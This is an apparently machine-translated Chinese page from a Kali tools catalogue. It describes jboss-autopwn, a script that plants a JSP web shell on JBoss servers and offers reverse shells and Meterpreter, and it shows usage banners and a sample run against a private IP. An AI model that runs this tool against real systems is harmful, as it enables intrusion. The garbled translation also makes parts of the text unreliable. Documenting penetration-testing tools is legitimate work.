的jboss-autopwn包装说明

这JBoss的脚本部署一个JSP壳目标的JBoss AS服务器上。一旦部署完成，该脚本用自己的上传和命令执行能力提供一个交互式会话。 其特点包括：

• 跨平台支持 - 在Windows，Linux和Mac目标测试
• 支持绑定和反向绑定弹
• Meterpreter就会弹和Windows目标的VNC支持 资料来源：https://github.com/SpiderLabs/jboss-autopwn

的jboss-autopwn首页 | 卡利的jboss-autopwn回购

• 作者：基督教G. Papathanasiou，Trustwave控股公司

• 许可：GPL第二版

  0x01 包含在jboss-autopwn封装工具

  JBoss的双赢 - 的JBoss的Windows autopwn ```bash

  :~#

  :~# jboss-win [!] JBoss Windows autopwn [!] Usage: ./e2.sh server port [!] Christian Papathanasiou

[!] Trustwave SpiderLabs

## 0x02  JBoss的Linux的 - JBoss的* nix的autopwn 
```bash

 :~# jboss-linux
[!] JBoss *nix autopwn
[!] Usage: ./e.sh server port
[!] Christian Papathanasiou
[!] Trustwave SpiderLabs

0x03 的jboss-autopwn用法示例

攻击指定的端口 （8080） 上的目标服务器 （192.168.1.200）， 重定向标准错误 （2>的/ dev / null的）：

 :~# jboss-linux 192.168.1.200 8080 2> /dev/null
[x] Retrieving cookie
[x] Now creating BSH script...
[!] Cound not create BSH script..
[x] Now deploying .war file:

原文来自:https://www.hackfun.org/kali-tools/jboss-autopwn_zh.html。转载请注明原出处，商用请联系原作者授权。